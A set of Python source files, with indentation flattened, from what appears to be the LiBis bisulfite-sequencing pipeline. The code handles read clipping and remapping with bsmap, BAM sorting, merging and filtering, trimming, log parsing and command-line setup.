command = 'bsmap -a '+unmapped_file+' -d '+refpath+' -o '+unmapped_file[:unmapped_file.find('fastq')-1]+'.bam -n 1 -r 0 -U -R -p ' + threads + ' 1>>LiBis_log 2>>'+store_file_prefix+unmapped_file[:unmapped_file.find('fastq')-1]+'_log.txt'
Batch_try = Pshell(command)
Batch_try.process()
print('[ '+str(datetime.now())+' ]\tRecombining uniquely mapped fragments...')
# run bsmap and get bam files named as Part_Fastq_Filename[i].bam
# import combine to generate the finalfastq
args={'step':param['step'],
'binsize':param['window'],
'filter':filter,
'outputname':outputname,
'originalfile':inputfileinfo,
#'mapfilenumber':10,
#'report_clip':param['report_clip']
#'finish':1
}
reads_num_dist,reads_len_dist = unsortedCombine(unmapped_file[:unmapped_file.find('fastq')-1],args)
#mapreduce_names = reads_map(unmapped_file[:-3],args)
#reads_reduce(mapreduce_names,args)
splitlogname = store_file_prefix+outputname+'_split_log.record'
split_log_localize(reads_num_dist,reads_len_dist,splitlogname)
#command = 'bsmap -a '+outputname+'_finalfastq.fastq.gz -d '+refpath+' -o '+outputname+'_split.bam -S 123 -n 1 -r 0 -p ' + threads + ' 1>>LiBis_log 2>> '+splitlogname
#Bam = Pshell(command)
#Bam.process()
splitfilename = outputname+'_split.bam'
#------------------------------------------------Pairend filter for LiBis rescued reads----------------------------------------------------------
if 'pairend' in param and param['pairend']:
ori_bam = outputname+'.bam'
if given_bam_file:
ori_bam = given_bam_file
PEfilter_bam = libis_filter(ori_bam, splitfilename)
command = 'mv '+PEfilter_bam+' '+splitfilename
renamer = Pshell(command)
renamer.process()
#libis_filter(ori_bam, split_bam)
#------------------------------------------------------------------------------------------------------------------------------------------------
print('[ '+str(datetime.now())+' ]\tBAM file sorting...')
#command='samtools sort -f -@ 6 '+splitfilename+' '+splitfilename+'.sorted.bam'
#filter = Pshell(command)
#filter.process()
pysam.sort('-@',threads,'-o',splitfilename+'.sorted.bam','-O','BAM',splitfilename)
#pysam.sort('-@',6,'-n',splitfilename,splitfilename+'.sorted')
if not given_bam_file:
#command='samtools sort -f -@ 6 '+outputname+'.bam'+' '+outputname+'.sort.bam'
command = 'samtools view -b -F 4 -@ 6 '+outputname+'.bam > '+outputname+'.filter.bam'
filter=Pshell(command)
filter.process()
pysam.sort('-@',threads,'-o',outputname+'.sorted.bam','-O','BAM',outputname+'.filter.bam')
#pysam.sort('-@',6,'-n',outputname+'filter.bam',outputname+'.sorted')
removeFileIfExist(outputname+'.filter.bam')
removeFileIfExist(outputname+'.bam')
else:
if param['bamu']:
command = 'samtools view -b -F 4 -@ 6 '+given_bam_file+' > '+outputname+'.filter.bam'
filter=Pshell(command)
filter.process()
pysam.sort('-@',threads,'-o',outputname+'.sorted.bam','-O','BAM',outputname+'.filter.bam')
#pysam.sort('-@',6,'-n',outputname+'filter.bam',outputname+'.sorted')
else:
pysam.sort('-@',threads,'-o',outputname+'.sorted.bam','-O','BAM',given_bam_file)
#pysam.sort('-@',6,'-n',given_bam_file,outputname+'.sorted')
removeFileIfExist(outputname+'.filter.bam')
#command='samtools sort -f -@ 6 '+given_bam_file+' '+outputname+'.sort.bam'
#filter.change(command)
#filter.process()
#command='mv '+outputname+'.sort.bam '+outputname+'.bam'
#command = 'samtools view -b -F 4 -@ 6 '+outputname+'.sort.bam > '+outputname+'.bam'
#filter.change(command)
#filter.process()
#command='mv '+splitfilename+'.sorted.bam '+splitfilename
#filter.change(command)
#filter.process()
if os.path.exists(splitfilename+'.sorted.bam'):
os.rename(splitfilename+'.sorted.bam', splitfilename)
if os.path.exists(outputname+'.sorted.bam'):
os.rename(outputname+'.sorted.bam',outputname+'.bam')
if not param["moabs"]:
filter = Pshell("")
#if given_bam_file:
# command='cp '+given_bam_file+' '+outputname+'.bam'
# filter.change(command)
# filter.process()
m=Pshell('samtools merge -f -@ 6 '+store_file_prefix+outputname+'_combine.bam '+outputname+'.bam '+splitfilename)
m.process()
command='mv '+outputname+'.bam BAM_FILE/'
filter.change(command)
filter.process()
command='mv '+splitfilename+' BAM_FILE/'
filter.change(command)
filter.process()
pysam.index(store_file_prefix+outputname+'_combine.bam')
pysam.index('BAM_FILE/'+outputname+'.bam')
pysam.index('BAM_FILE/'+splitfilename)
else:
pysam.index(outputname+'.bam')
pysam.index(splitfilename)
print('[ '+str(datetime.now())+' ]\tFINISH!')
return 'BAM_FILE/'+outputname+'_combine.bam',originallogname,splitlogname,[unmapped_file,outputname+'_finalfastq.fastq.gz',outputname+'.sam']
#print("Merge done!")#\nCreated final bam file called "+outputname+'_combine.bam')
def clipmode(name,param, given_bam_file,given_label):
'''
When we get the mapping result, we should report
mapping ratio, mapped reads number, length distribution,
original mapping ratio, original mapped reads number,
new generated splitted reads number, new generated splitted reads length
'''
print('[ '+str(datetime.now())+' ]\tTemprary files cleaning...')
newn,originallog,splitlog,cleanname=clip_process(name,param, given_bam_file,given_label)
if (not 'cleanmode' in param) or param['cleanmode']:
#Set a clean mode and full mode for clipping mode
cleanupmess(cleanname)
return newn,[originallog,splitlog]
def cleanupmess(name):
unmapped_file,n1,n2 = name
outputname = n1[:n1.rfind('_')]
#removeFileIfExist(n1)
#removeFileIfExist(n2)
removeFileIfExist(outputname+'.sort.bam')
removeFileIfExist(outputname+'.bam.bai')
#removeFileIfExist(outputname+'_split.bam.bai')
removeFileIfExist(unmapped_file)
unmapped_name = unmapped_file[:unmapped_file.rfind('fastq')-1]
removeFileIfExist(unmapped_name+'.bam')
#removeFileIfExist(unmapped_file[:-3]+'.sam')
removeFileIfExist(unmapped_name+'.bam.bai')
#for i in range(10):
# removeFileIfExist(outputname+'_'+str(i)+'.mapreduce')
if __name__=="__main__":
cleanupmess(['6P1_notrim_val_1_val_1_test.unmapped.fastq','6P1_notrim_val_1_val_1_test_finalfastq.fastq','6P1_notrim_val_1_val_1_test.sam'])
#with open("config.txt") as f:
# lines = f.readlines()
#import multiprocessing
#pool = multiprocessing.Pool(processes=2)
#for l in lines:
# #pool.apply_async(clip_process,(l,))
# clip_process(l.strip().split(),{'ref':'/data/dsun/ref/humanigenome/hg19.fa','step':5,'window':30,'cleanmode':True}) #pass file name to clip_process
#pool.close()
#pool.join()
#p = {'ref':'/data/dsun/ref/humanigenome/hg19.fa','step':5,'window':30,'cleanmode':True}
#clipmode(['Trim/head.fq'],p)
|
biobai/LiBis | LiBis/trim.py | '''
Tested
'''
from .utils import *
import os
class TRIM():
def check(self,nocheck=False):
if not toolcheck('trim_galore -v'):
return False,'trim_galore not found!'
if os.path.exists('Trim'):
if nocheck:
print('"Trim" exist! But --nocheck enabled, so continue running')
else:
return False,'"Trim" file/dic exist! Please delete it.'
else:
os.mkdir('Trim')
return True,''
def setpath(self,path):
self.path = path+'Trim'
def run(self,filename,pair):
if pair==1:
p = Pshell('trim_galore --gz -o '+self.path+' '+filename)
else:
p = Pshell('trim_galore --gz --paired -o '+self.path+' '+filename)
p.process()
Trim = TRIM()
if __name__=='__main__':
tr = Trim()
#tr.check()
tr.setpath('./')
tr.run('../trimtest/SRR1248444_1.1.1.1.fastq')
|
biobai/LiBis | LiBis/test/test.py | <filename>LiBis/test/test.py
import os
print(os.path.abspath(__file__))
|
biobai/LiBis | LiBis/test/bsmap_record_combine.py | import sys,os
import re
import pandas as pd
def record_process(files):
ans=[]
title=['fastq_file_name','output_file','total_read_pairs','aligned_pairs','unique_pairs','non-unique_pairs','#1_unpaired_read','#1_unique_reads','#1_non-unique_reads','#2_unpaired_read','#2_unique_reads','#2_non-unique_reads']
for file in files:
if not '.record' in file: continue
with open(file) as f:
lines = f.readlines()
#print(file)
a=[]
a.append(lines[4][lines[4].find(':')+2:lines[4].rfind('(')-1].strip())
a.append(lines[6][lines[6].find(':')+2:lines[6].rfind('(')-1].strip())
a.append(lines[7].split()[-6].strip())
for i in range(8,11):
temp=re.split(':|,',lines[i])
a.append(temp[1].strip())
a.append(temp[3].strip())
a.append(temp[5].strip())
ans.append(a)
data = pd.DataFrame(ans,columns=title)
return data
if __name__=="__main__":
import os
files = os.listdir()
print(record_process(files))
|
biobai/LiBis | LiBis/test/main.py | import argparse
import os
import xml.dom.minidom
from computeProcess import computeProcess
from utils import *
'''
fastq pairs k pairs
sample label k labels
clipmode True/False
clipsetting window, step
ref string
processes number
'''
def nameprocess(s):
#split samples using blank. split double end files using comma(,);
ans=[]
for f in s:
if ',' in f:
ff=f.strip().split(',')
else:
ff = [f]
ans.append(ff)
return ans
def getxmlcontent(dom,x):
temp = dom.getElementsByTagName(x)
if len(temp)==0:
return None
else:
return temp[0].firstChild.data
def text_process(filename):
'''
All process for reading config text in XML format.
This only works for the mode which use file to input parameters
'''
dom = xml.dom.minidom.parse(filename)
#root = dom.documentElement
dic={}
tagnames = ['fastq','label','clip','window','step','ref','process','genome','qc','trim','binsize','filter']
tagcontent = list(map(lambda x:getxmlcontent(dom,x),tagnames))
for i in range(len(tagnames)):
name = tagnames[i]
content = tagcontent[i]
if name=='fastq':
dic[name]=nameprocess(content.strip().split())
'''
Split fastq file name using comma(,)
Format will be like S1_1,S1_2 S2 S3 S4_1,S4_2
feed nameprocess() a name list like above(use split to eliminate the blank)
it will return [['S1_1','S1_2'],['S2'],['S3'],['S4_1','S4_2']]
'''
continue
if name=='label':
dic[name]=content.strip().split()
continue
if name=='ref':
dic[name]=content
continue
if name=='genome':
dic[name]=content
dic[name]=int(content)
return dic
def inputorN(v):
if v:
return v
else:
return None
def valid(param):
'''
check whether parameters are valid.
'''
name = param['name']
for n in name:
for nn in n:
if not os.path.exists(nn):
raise Exception(nn+' not exist!')
if len(param['label'])!=len(param['name']):
raise Exception('Number of samples and number of labels should be the same!')
if not os.path.exists(param['ref']):
raise Exception(param['ref']+' not exist!')
if param['clip'] and param['trim']:
print("Don't need to trim for clipping mode! Set -t to 0")
if os.path.exists('RESULT'):
raise "RESULT file exists! Please delete RESULT or change name"
os.mkdir("RESULT")
def input_args():
parser = argparse.ArgumentParser()
parser.add_argument('-f','--file',type=int, help=r'Required. Enter a number, 0 means using parameter to set up, 1 means using text file to set up',required=True,default=0)
parser.add_argument('-sf','--settingfile',help='Required. Setting txt file name. Ignore if -f is 0.')
parser.add_argument('-n','--name',nargs="*",help=r'Required. Fastq file name. ')
parser.add_argument('-c','--clip',help=r'Clip mode. 0 means close. 1 means open. default: 0',type=int,default=0)
parser.add_argument('-l','--label',nargs="*",help=r'Required. Labels for samples')
parser.add_argument('-g','--genome',help='Required. Genome the reference belong to.(Use for plotting) hg18/hg19/mm10/mm9 and so on. Plotting script will not avaliable if leave it blank')
parser.add_argument('-w','--window',type=int,help=r'Window length for clipping mode, default=1000000',default=30)
parser.add_argument('-s','--step',type=int,help=r'Step size for clipping mode.',default=5)
parser.add_argument('-p','--process',type=int,help=r'Process using for one pipeline. Normally bsmap will cost 8 cpu number. So total will be 8p.',default=1)
parser.add_argument('-r','--ref',help=r'Required. Reference')
parser.add_argument('-qc','--QualityControl',help=r'Do(1) quality control or not(0)',default=True,required=False)
parser.add_argument('-t','--trim',help=r"Do(1) trimming or not(0). Don't need to do trimming if you use clip mode.",default=True,required=False)
parser.add_argument('-b','--binsize',help="Plot setting. Set the bin size for averaging methylation ratio among samples",default=1000000,required=False)
parser.add_argument('-ft','--filter',help="filter for clipped reads",default=40)
args = parser.parse_args()
#print(args.name)
if args.file==1:
param=text_process(args.settingfile)
else:
param={'name':(nameprocess(args.name) or None),
'clip':args.clip,
'label':(args.label or None),
'window':int(inputorN(args.window)),
'step':int(inputorN(args.step)),
'process':int(inputorN(args.step)),
'ref':(args.ref or None),
'qc':int(args.QualityControl),
'trim':int(args.trim),
'genome':args.genome,
'bin':args.binsize,
'filter_len':args.filter
}
valid(param)
return param
if __name__=="__main__":
param=input_args()
computeProcess(param)
|
biobai/LiBis | LiBis/pairend.py | import gzip
import pysam
from .utils import Pshell
import os
def pair_valid(chr1,chr2,strand1,strand2,pos1,pos2):
if chr1!=chr2:
return False
if strand1=='++' and strand2!='+-':
return False
if strand1=='-+' and strand2!='--':
return False
if strand1=='+-' and strand2!='++':
return False
if strand1=='--' and strand2!='-+':
return False
if abs(int(pos1)-int(pos2))<=1000:
return True
return False
def writefiles(UnmappedReads, outputname):
filecontent = []
for readsname in UnmappedReads:
link = UnmappedReads[readsname]
filecontent.append('@'+readsname+'\n'+link[0]+'\n+\n'+link[1]+'\n')
with open(outputname,'a') as f:
f.writelines(filecontent)
def pairend_remap(bam_filename,fastq_filename,output_name,refpath,output_prefix, multihits_num=10):
'''
Args:
bam_filename: string, name of combined bam file
fastq_filename: string[], list of names of fastq files
Output:
1.
'''
#with open(outputname+".sam") as sam:
#second column in sam file: 64, mate 1; 128, mate 2;
# samlines = sam.readlines()
output_name_fq = output_name + '_multi.fq'
output_name_bam = output_name + '_multi.bam'
bamfile = pysam.AlignmentFile(bam_filename, "rb")
set_sam = {}
fq_file_num = len(fastq_filename)
for line in bamfile:
temp = line.to_dict()
name = temp['name']
if temp['next_ref_name']!='*':
continue
clip_from = -1
if '_' in name:
pos = name.find('_')
if name[pos+3]=='0':
clip_from = 1
else:
clip_from = 2
name = name[:pos]
flag = int(temp['flag'])
m1 = (flag & 64)
m2 = (flag & 128)
if m1>0: mate = 1
elif m2>0: mate = 2
else: mate = 0
if clip_from>0 and fq_file_num>1:
mate = clip_from
if name in set_sam: set_sam[name]=3
else: set_sam[name]=mate
bamfile.close()
UnmappedReads = {}
o=0
for filename in fastq_filename:
o+=1
gzmark=False
if filename.endswith('.gz'):
f = gzip.open(filename)
gzmark=True
else:
f = open(filename)
if f:
while 1:
if gzmark:
line1 = f.readline().decode()
else:
line1 = f.readline()
if not line1:
break
if gzmark:
line2 = f.readline().decode().strip()
line3 = f.readline().decode()
line4 = f.readline().decode().strip()
else:
line2 = f.readline().strip()
line3 = f.readline()
line4 = f.readline().strip()
line1 = line1.strip().split()
read_name = line1[0][1:]
pair_file_rank = o
if '/' in read_name:
split_pos=0
split_pos = read_name.rfind('/')
read_name = read_name[:split_pos]
if (read_name in set_sam):
if set_sam[read_name]==0 or set_sam[read_name]==3: continue
if set_sam[read_name]==pair_file_rank: continue
if pair_file_rank<0: continue
else:
continue
#if fq_file_num>1: read_name+='_'+str(pair_file_rank)
UnmappedReads[read_name]=[line2,line4]
if len(UnmappedReads)>1000000:
writefiles(UnmappedReads,output_name_fq)
UnmappedReads={}
f.close()
if len(UnmappedReads)>0:
writefiles(UnmappedReads,output_name_fq)
#print('finish')
del UnmappedReads
command='bsmap -a '+output_name_fq+' -d '+refpath+' -o '+output_name_bam+' -w '+str(multihits_num)+' -S 123 -n 1 -r 2 1>>temp_log 2>>'+output_prefix+'_multi_log.txt'
multiple_mapping = Pshell(command)
multiple_mapping.process()
if os.path.exists(output_name_fq):
os.remove(output_name_fq)
return output_name_bam
def bam_merge(ori_bam, multi_bam):
'''
Args:
ori_bam: string, name of the original *_combined.bam
multi_bam: string, name of the new multiple mapping bam
'''
samfile = pysam.AlignmentFile(multi_bam, "rb")
multi_dict = {}
for line in samfile:
temp = line.to_dict()
chr = temp['ref_name']
pos = temp['ref_pos']
strand=''
for tag in temp['tags']:
if 'ZS' in tag:
strand = tag[-2:]
name = temp['name'][:-2]
if name in multi_dict:
multi_dict[name].append([chr,pos,strand])
else:
multi_dict[name] = [[chr,pos,strand]]
samfile.close()
potential_marker = {}
samfile = pysam.AlignmentFile(ori_bam, "rb")
for line in samfile:
temp = line.to_dict()
if temp['next_ref_name']!='*':
continue
name = temp['name']
if name not in multi_dict:
continue
chr = temp['ref_name']
pos = int(temp['ref_pos'])
strand=''
for tag in temp['tags']:
if 'ZS' in tag:
strand = tag[-2:]
candidates = multi_dict[name]
for c in candidates:
if chr==c[0]:
if strand=='++' and c[2]!='+-':
continue
if strand=='-+' and c[2]!='--':
continue
if strand=='+-' and c[2]!='++':
continue
if strand=='--' and c[2]!='-+':
continue
if abs(pos-int(c[1]))<=1000:
if name in potential_marker:
potential_marker[name].append(c)
else:
potential_marker[name] = [c]
samfile.close()
multifile = pysam.AlignmentFile(multi_bam, "rb")
output_file = pysam.AlignmentFile(multi_bam+'.select.bam','wb',template=multifile)
for line in multifile:
temp = line.to_dict()
name = temp['name']
#mate = int(name[-1])
#name = name[:-2]
if name not in potential_marker:
continue
mate = int(name[-1])
if mate==1:
flag = 64
else:
flag = 128
#line.flag |=
chr = temp['ref_name']
pos = temp['ref_pos']
for c in potential_marker:
if chr==c[0] and pos==c[1]:
output_file.write(line)
multifile.close()
output_file.close()
return multi_bam+'.select.bam'
def libis_filter(ori_bam, split_bam):
'''
Args:
ori_bam: string, name of the original *_combined.bam
multi_bam: string, name of the new multiple mapping bam
'''
samfile = pysam.AlignmentFile(ori_bam, "rb")
ori_dict = {}
for line in samfile:
temp = line.to_dict()
if temp['next_ref_name']!='*':
continue
chr = temp['ref_name']
pos = temp['ref_pos']
strand=''
for tag in temp['tags']:
if 'ZS' in tag:
strand = tag[-2:]
name = temp['name'][:-2]
ori_dict[name] = [chr,pos,strand]
samfile.close()
split_dict = {}
candidates = {}
samfile = pysam.AlignmentFile(split_bam, "rb")
output_file = pysam.AlignmentFile(split_bam+'.filter.bam','wb',template=samfile)
number = 0
for line in samfile:
temp = line.to_dict()
name = temp['name']
#print(name)
_pos = name.find('_')
#print(pos)
#print(name[:pos])
clip_from = -1
if name[_pos+3]=='1':
clip_from = 1
else:
clip_from = 2
chr = temp['ref_name']
pos = temp['ref_pos']
strand = ''
for tag in temp['tags']:
if 'ZS' in tag:
strand = tag[-2:]
name = name[:_pos]
if name in ori_dict:
chr1, pos1, strand1 = ori_dict[name]
if pair_valid(chr,chr1,strand,strand1,pos,pos1):
output_file.write(line)
#number += 1
else:
if name not in split_dict:
split_dict[name] = [[clip_from, chr, pos, strand]]
else:
split_dict[name].append([clip_from, chr, pos, strand])
samfile.close()
for name, c in split_dict.items():
if len(c)<2: continue
clip_from = 0
for cc in c:
clip_from = clip_from | cc[0]
if clip_from!=3: continue
#candidate.append(name)
mark = False
cand = set()
for i in range(len(c)):
for j in range(i+1,len(c)):
if c[i][0] | c[j][0]==3 and pair_valid(c[i][1],c[j][1],c[i][3],c[j][3],c[i][2],c[j][2]):
cand.add((c[j][1],c[j][2],c[j][3]))
cand.add((c[i][1],c[i][2],c[i][3]))
mark = True
if mark:
candidates[name] = list(cand)
#number += 1
#print(number)
splitfile = pysam.AlignmentFile(split_bam, "rb")
for line in splitfile:
temp = line.to_dict()
name = temp['name']
#mate = int(name[-1])
#name = name[:-2]
_pos = name.find('_')
name = name[:_pos]
if name not in candidates:
continue
chr = temp['ref_name']
pos = temp['ref_pos']
strand=''
for tag in temp['tags']:
if 'ZS' in tag:
strand = tag[-2:]
for c in candidates[name]:
if chr==c[0] and pos==c[1] and strand==c[2]:
output_file.write(line)
splitfile.close()
output_file.close()
return split_bam+'.filter.bam'
if __name__=="__main__":
import sys
refpath = '/fdata/scratch/lijin.bio/resource/genome/hg38/hg38.fa'
#bam = sys.argv[1]#'H1_1A.bam'
#fq = sys.argv[2:4]#['H1_1A_CKDL190142710-1a_HMFVMDSXX_L2_1_val_1.fq.gz','H1_1A_CKDL190142710-1a_HMFVMDSXX_L2_2_val_2.fq.gz']
#pairend_remap(bam,fq,bam[:bam.find('.')]+'_multi',refpath)
#bam_merge('H1_1D.bam','H1_1D_multi.bam')
ori_bam, split_bam = sys.argv[1], sys.argv[2]
libis_filter(ori_bam, split_bam)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.